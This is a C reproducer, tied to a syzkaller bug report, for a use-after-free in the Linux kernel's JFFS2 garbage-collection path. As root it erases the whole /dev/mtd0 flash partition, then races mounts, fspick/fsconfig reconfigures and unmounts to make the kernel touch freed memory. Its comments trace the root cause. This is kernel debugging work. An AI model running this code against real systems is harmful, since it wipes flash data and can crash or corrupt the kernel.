// https://syzkaller.appspot.com/bug?id=f1f12cd146f61eb399d3d188703913f53a1cb159
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <sched.h>
#include <time.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/mount.h>
#include <sys/syscall.h>
#include <sys/sysmacros.h>
#include <mtd/mtd-abi.h>

#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif

#ifndef __NR_fspick
#define __NR_fspick 433
#endif

#ifndef FSCONFIG_CMD_RECONFIGURE
#define FSCONFIG_CMD_RECONFIGURE 7
#endif

#ifndef MEMGETINFO
#define MEMGETINFO _IOR('M', 1, struct mtd_info_user)
#endif

#ifndef MEMERASE
#define MEMERASE _IOW('M', 2, struct erase_info_user)
#endif

#ifndef MTD_CHAR_MAJOR
#define MTD_CHAR_MAJOR 90
#endif

#ifndef MTD_BLOCK_MAJOR
#define MTD_BLOCK_MAJOR 31
#endif

static volatile int stop_threads = 0;

static void set_cpu_affinity(int cpu)
{
    int num_cpus = sysconf(_SC_NPROCESSORS_ONLN);
    if (num_cpus <= 0)
        num_cpus = 1;

    cpu_set_t cpuset;
    CPU_ZERO(&cpuset);
    CPU_SET(cpu % num_cpus, &cpuset);
    pthread_setaffinity_np(pthread_self(), sizeof(cpuset), &cpuset);
}

/*
 * Thread 1: Primary Mount & Remount (pinned to CPU 0)
 * Mounts and remounts mtd0 toggling RO and RW states, and exercises fspick/reconfigure.
 */
static void *thread_mount_primary(void *arg)
{
    (void)arg;
    set_cpu_affinity(0);

    while (!stop_threads) {
        mount("mtd0", "/tmp/mnt1", "jffs2", 0, NULL);

        int fs_fd = syscall(__NR_fspick, AT_FDCWD, "/tmp/mnt1", 0);
        if (fs_fd >= 0) {
            syscall(__NR_fsconfig, fs_fd, FSCONFIG_CMD_RECONFIGURE, NULL, NULL, 0);
            close(fs_fd);
        }

        mount("mtd0", "/tmp/mnt1", "jffs2", MS_RDONLY, NULL);
        mount(NULL, "/tmp/mnt1", NULL, MS_REMOUNT, NULL);
        mount(NULL, "/tmp/mnt1", NULL, MS_REMOUNT | MS_RDONLY, NULL);
        mount("/dev/mtdblock0", "/tmp/mnt1", "jffs2", 0, NULL);
        mount("/dev/mtdblock0", "/tmp/mnt1", "jffs2", MS_RDONLY, NULL);
        mount(NULL, "/tmp/mnt1", NULL, MS_REMOUNT | MS_RDONLY, NULL);

        usleep(200);
    }
    return NULL;
}

/*
 * Thread 2: Secondary Mount & Reconfigure (pinned to CPU 1)
 * Mounts second instance of mtd0 on /tmp/mnt2 and reconfigures superblock.
 */
static void *thread_mount_secondary(void *arg)
{
    (void)arg;
    set_cpu_affinity(1);

    while (!stop_threads) {
        mount("mtd0", "/tmp/mnt2", "jffs2", 0, NULL);

        int fs_fd = syscall(__NR_fspick, AT_FDCWD, "/tmp/mnt2", 0);
        if (fs_fd >= 0) {
            syscall(__NR_fsconfig, fs_fd, FSCONFIG_CMD_RECONFIGURE, NULL, NULL, 0);
            close(fs_fd);
        }

        mount("mtd0", "/tmp/mnt2", "jffs2", MS_RDONLY, NULL);
        mount(NULL, "/tmp/mnt2", NULL, MS_REMOUNT | MS_RDONLY, NULL);
        mount(NULL, "/tmp/mnt2", NULL, MS_REMOUNT, NULL);

        usleep(200);
    }
    return NULL;
}

/*
 * Thread 3: File Operations / GC Driver (pinned to CPU 2)
 * Creates files, writes, fsyncs, unlinks to wake up and keep GC thread active.
 */
static void *thread_fs_ops(void *arg)
{
    (void)arg;
    set_cpu_affinity(2);

    char buf[4096];
    memset(buf, 0x5a, sizeof(buf));

    while (!stop_threads) {
        int fd1 = open("/tmp/mnt1/testfile", O_CREAT | O_RDWR | O_TRUNC, 0666);
        if (fd1 >= 0) {
            (void)write(fd1, buf, sizeof(buf));
            (void)fsync(fd1);
            close(fd1);
            unlink("/tmp/mnt1/testfile");
        }

        int fd2 = open("/tmp/mnt2/testfile", O_CREAT | O_RDWR | O_TRUNC, 0666);
        if (fd2 >= 0) {
            (void)write(fd2, buf, sizeof(buf));
            close(fd2);
            unlink("/tmp/mnt2/testfile");
        }

        usleep(100);
    }
    return NULL;
}

/*
 * Thread 4: Rapid Teardown (pinned to CPU 3)
 * Continuously and aggressively tears down mounts via umount2(MNT_DETACH) and umount().
 */
static void *thread_teardown(void *arg)
{
    (void)arg;
    set_cpu_affinity(3);

    while (!stop_threads) {
        umount2("/tmp/mnt1", MNT_FORCE | MNT_DETACH);
        umount2("/tmp/mnt2", MNT_FORCE | MNT_DETACH);
        umount("/tmp/mnt1");
        umount("/tmp/mnt2");

        usleep(100);
    }
    return NULL;
}

int main(void)
{
    setvbuf(stdout, NULL, _IONBF, 0);
    printf("[*] Starting reproducer for jffs2_erase_pending_blocks UAF...\n");

    /* 1. Verify root privileges */
    if (getuid() != 0) {
        printf("[-] Root privileges required (UID is %u)\n", getuid());
        exit(1);
    }
    printf("[+] Process running as UID 0 (root).\n");

    /* 2. Ensure /dev/mtd0 and /dev/mtdblock0 exist */
    struct stat st;
    if (stat("/dev/mtd0", &st) < 0) {
        int res = mknod("/dev/mtd0", S_IFCHR | 0666, makedev(MTD_CHAR_MAJOR, 0));
        if (res < 0 && errno != EEXIST) {
            printf("[-] Failed to mknod /dev/mtd0: %s\n", strerror(errno));
            exit(1);
        }
        printf("[+] mknod /dev/mtd0 successful.\n");
    } else {
        printf("[+] /dev/mtd0 exists.\n");
    }

    if (stat("/dev/mtdblock0", &st) < 0) {
        int res = mknod("/dev/mtdblock0", S_IFBLK | 0666, makedev(MTD_BLOCK_MAJOR, 0));
        if (res < 0 && errno != EEXIST) {
            printf("[-] Failed to mknod /dev/mtdblock0: %s\n", strerror(errno));
            exit(1);
        }
        printf("[+] mknod /dev/mtdblock0 successful.\n");
    } else {
        printf("[+] /dev/mtdblock0 exists.\n");
    }

    /* 3. Create dedicated mount target directories */
    int res = mkdir("/tmp/mnt1", 0777);
    if (res < 0 && errno != EEXIST) {
        printf("[-] Failed to mkdir /tmp/mnt1: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] mkdir /tmp/mnt1 successful.\n");

    res = mkdir("/tmp/mnt2", 0777);
    if (res < 0 && errno != EEXIST) {
        printf("[-] Failed to mkdir /tmp/mnt2: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] mkdir /tmp/mnt2 successful.\n");

    /* Clean up any preexisting mounts */
    umount2("/tmp/mnt1", MNT_FORCE | MNT_DETACH);
    umount2("/tmp/mnt2", MNT_FORCE | MNT_DETACH);

    /* 4. Erase MTD0 partition so blocks scan as BLK_STATE_ALLFF, populating c->erase_pending_list */
    int mtd_fd = open("/dev/mtd0", O_RDWR);
    if (mtd_fd < 0) {
        printf("[-] Failed to open /dev/mtd0: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] open /dev/mtd0 successful.\n");

    struct mtd_info_user mtdinfo;
    res = ioctl(mtd_fd, MEMGETINFO, &mtdinfo);
    if (res < 0) {
        printf("[-] Failed to ioctl MEMGETINFO on /dev/mtd0: %s\n", strerror(errno));
        close(mtd_fd);
        exit(1);
    }
    printf("[+] ioctl MEMGETINFO successful: size=%u, erasesize=%u\n", mtdinfo.size, mtdinfo.erasesize);

    struct erase_info_user ei = { 0, mtdinfo.size };
    res = ioctl(mtd_fd, MEMERASE, &ei);
    if (res < 0) {
        printf("[-] Whole partition MEMERASE failed: %s, erasing block-by-block...\n", strerror(errno));
        for (uint32_t off = 0; off < mtdinfo.size; off += mtdinfo.erasesize) {
            ei.start = off;
            ei.length = mtdinfo.erasesize;
            ioctl(mtd_fd, MEMERASE, &ei);
        }
    } else {
        printf("[+] ioctl MEMERASE entire partition successful.\n");
    }

    res = close(mtd_fd);
    if (res < 0) {
        printf("[-] Failed to close /dev/mtd0: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] close /dev/mtd0 successful.\n");

    /*
     * Phase 1: Deterministic trigger via fspick + fsconfig(RECONFIGURE) + umount
     *
     * 1. mount(..., MS_RDONLY) sets SB_RDONLY and skips starting GC thread.
     * 2. fspick + fsconfig(FSCONFIG_CMD_RECONFIGURE) invokes jffs2_do_remount_fs()
     *    with !(fc->sb_flags & SB_RDONLY) == true, spawning jffs2_gcd_mtd0.
     *    However, fc->sb_flags_mask is 0, so sb->s_flags preserves SB_RDONLY!
     * 3. umount() invokes jffs2_kill_sb(), which checks !sb_rdonly(sb).
     *    Because sb_rdonly(sb) is true, jffs2_stop_garbage_collect_thread() is SKIPPED!
     * 4. kfree(c) frees struct jffs2_sb_info while jffs2_gcd_mtd0 is actively running.
     * 5. jffs2_gcd_mtd0 accesses c->erase_complete_list in jffs2_erase_pending_blocks(),
     *    triggering KASAN slab-use-after-free read.
     */
    printf("[*] Executing Phase 1: direct fspick + fsconfig + umount sequence...\n");
    for (int iter = 0; iter < 5; iter++) {
        printf("[*] Phase 1 iteration %d: mounting mtd0 read-only...\n", iter);
        res = mount("mtd0", "/tmp/mnt1", "jffs2", MS_RDONLY, NULL);
        if (res < 0) {
            printf("[-] mount mtd0 failed: %s, trying /dev/mtdblock0...\n", strerror(errno));
            res = mount("/dev/mtdblock0", "/tmp/mnt1", "jffs2", MS_RDONLY, NULL);
            if (res < 0) {
                printf("[-] mount /dev/mtdblock0 also failed: %s\n", strerror(errno));
                break;
            }
        }
        printf("[+] mount successful.\n");

        int fs_fd = syscall(__NR_fspick, AT_FDCWD, "/tmp/mnt1", 0);
        if (fs_fd < 0) {
            printf("[-] fspick failed: %s\n", strerror(errno));
            umount("/tmp/mnt1");
            break;
        }
        printf("[+] fspick successful (fd=%d).\n", fs_fd);

        res = syscall(__NR_fsconfig, fs_fd, FSCONFIG_CMD_RECONFIGURE, NULL, NULL, 0);
        if (res < 0) {
            printf("[-] fsconfig RECONFIGURE failed: %s\n", strerror(errno));
        } else {
            printf("[+] fsconfig RECONFIGURE successful: GC thread spawned while SB_RDONLY is set.\n");
        }

        res = close(fs_fd);
        if (res < 0) {
            printf("[-] Failed to close fspick fd: %s\n", strerror(errno));
        } else {
            printf("[+] close fspick fd successful.\n");
        }

        res = umount("/tmp/mnt1");
        if (res < 0) {
            printf("[-] umount /tmp/mnt1 failed: %s\n", strerror(errno));
        } else {
            printf("[+] umount /tmp/mnt1 successful: sb_info freed while GC thread is running.\n");
        }

        /* Brief delay for jffs2_gcd_mtd0 to execute jffs2_erase_pending_blocks on freed c */
        usleep(300000);
    }

    /*
     * Phase 2: Concurrent multi-threaded stress race
     * Spawns 4 concurrent threads to race mounts, remounts, fspick, file writes, and rapid unmounts.
     */
    printf("[*] Executing Phase 2: starting concurrent worker threads...\n");
    pthread_t th1, th2, th3, th4;

    res = pthread_create(&th1, NULL, thread_mount_primary, NULL);
    if (res != 0) {
        printf("[-] Failed to create thread 1: %s\n", strerror(res));
        exit(1);
    }
    printf("[+] Thread 1 (Primary Mount) started.\n");

    res = pthread_create(&th2, NULL, thread_mount_secondary, NULL);
    if (res != 0) {
        printf("[-] Failed to create thread 2: %s\n", strerror(res));
        exit(1);
    }
    printf("[+] Thread 2 (Secondary Mount / Reconfigure) started.\n");

    res = pthread_create(&th3, NULL, thread_fs_ops, NULL);
    if (res != 0) {
        printf("[-] Failed to create thread 3: %s\n", strerror(res));
        exit(1);
    }
    printf("[+] Thread 3 (File Operations / GC Driver) started.\n");

    res = pthread_create(&th4, NULL, thread_teardown, NULL);
    if (res != 0) {
        printf("[-] Failed to create thread 4: %s\n", strerror(res));
        exit(1);
    }
    printf("[+] Thread 4 (Rapid Teardown) started.\n");

    printf("[*] Running concurrent race for 15 seconds...\n");
    sleep(15);

    stop_threads = 1;
    printf("[*] Stopping worker threads...\n");

    pthread_join(th1, NULL);
    pthread_join(th2, NULL);
    pthread_join(th3, NULL);
    pthread_join(th4, NULL);
    printf("[+] All worker threads stopped.\n");

    /* Delay to allow asynchronous GC threads to finish executing and trigger KASAN report */
    printf("[*] Waiting for asynchronous kthreads...\n");
    sleep(2);

    umount2("/tmp/mnt1", MNT_FORCE | MNT_DETACH);
    umount2("/tmp/mnt2", MNT_FORCE | MNT_DETACH);
    rmdir("/tmp/mnt1");
    rmdir("/tmp/mnt2");

    printf("[+] Reproducer completed.\n");
    return 0;
}